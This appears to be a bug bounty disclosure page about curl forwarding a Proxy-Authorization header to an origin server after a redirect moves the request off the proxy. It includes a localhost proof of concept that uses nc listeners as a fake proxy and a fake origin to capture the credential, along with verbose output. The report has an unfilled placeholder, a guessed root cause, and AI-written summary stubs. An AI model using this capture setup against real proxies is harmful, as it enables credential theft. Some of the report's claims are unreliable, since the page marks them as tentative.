Proxy-Authorization header is leaked to origin server after redirect from proxied to direct connection
curl keeps the Proxy-Authorization header on a request after a redirect moves the connection from a proxy to a direct connection, so the proxy credentials are sent to the origin server. An attacker-controlled origin could capture those credentials and reuse them to access the proxy.
- Disclosed after 40 hours
Summary
curl leaks the Proxy-Authorization header to the origin server after following an HTTP redirect that transitions from a proxied connection to a direct connection (e.g. when using --noproxy or when proxy is bypassed after redirect). This causes proxy credentials (which are hop-by-hop) to be sent to unintended servers.
Affected version
Tested with: curl 8.17.0 on Linux x86_64
curl -V: [PASTE curl -V OUTPUT HERE]
Steps To Reproduce
-
Start a fake origin server:
nc -l -p 8080
-
Start a fake proxy that redirects to the origin:
printf "HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:8080/\r\nContent-Length: 0\r\n\r\n" | nc -l -p 3128
-
Run curl:
curl -v -L
-x http://127.0.0.1:3128
-H "Proxy-Authorization: Basic RAHASIA_NEGARA_BOCOR"
--noproxy 127.0.0.1
http://example.com -
Observe the request received by the origin server.
Observed Behavior
curl verbose output:
- Trying 127.0.0.1:3128...
- Established connection to 127.0.0.1 (127.0.0.1 port 3128)
GET http://example.com/ HTTP/1.1 Host: example.com User-Agent: curl/8.17.0 Accept: / Proxy-Connection: Keep-Alive Proxy-Authorization: Basic RAHASIA_NEGARA_BOCOR
< HTTP/1.1 302 Found < Location: http://127.0.0.1:8080/ < Content-Length: 0
- Issue another request to this URL: 'http://127.0.0.1:8080/'
- Trying 127.0.0.1:8080...
- Established connection to 127.0.0.1 (127.0.0.1 port 8080)
GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.17.0 Accept: / Proxy-Authorization: Basic RAHASIA_NEGARA_BOCOR
Origin server output (nc -l -p 8080):
GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.17.0 Accept: / Proxy-Authorization: Basic RAHASIA_NEGARA_BOCOR
Expected Behavior
The Proxy-Authorization header must never be forwarded to origin servers and should be stripped when the request is sent directly instead of via a proxy.
Supporting Material
Attached:
- curl verbose output showing header leakage
- Origin server log showing leaked Proxy-Authorization header
Impact
Impact
An attacker-controlled origin server can steal proxy credentials if a proxied request is redirected to a direct connection. This violates HTTP semantics (Proxy-Authorization is hop-by-hop) and can result in credential compromise and unauthorized proxy access.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely curl does not strip the hop-by-hop Proxy-Authorization header when a redirect causes the request to be sent directly rather than through the proxy.
Impact
An attacker-controlled origin server can steal proxy credentials if a proxied request is redirected to a direct connection, which could lead to credential compromise and unauthorised proxy access.
What the attacker needed
Curl used with a proxy and credentials; redirect from proxy to direct connection; attacker controls the origin server
The fix
curl should strip the Proxy-Authorization header whenever a request is sent directly instead of through a proxy.
How it was found
- Start a fake origin server listening on a local port.
- Start a fake proxy that answers with a redirect pointing at the origin server.
- Run curl through the proxy with a Proxy-Authorization header and a no-proxy setting for the origin address.
- Observe the request that the origin server receives.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A proxy is a middle server that fetches web pages for you, and you often log in to it with a username and password sent in a special header. That header is meant only for the proxy, but here curl kept it attached after a redirect sent the request straight to the website, so the website saw the proxy password.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.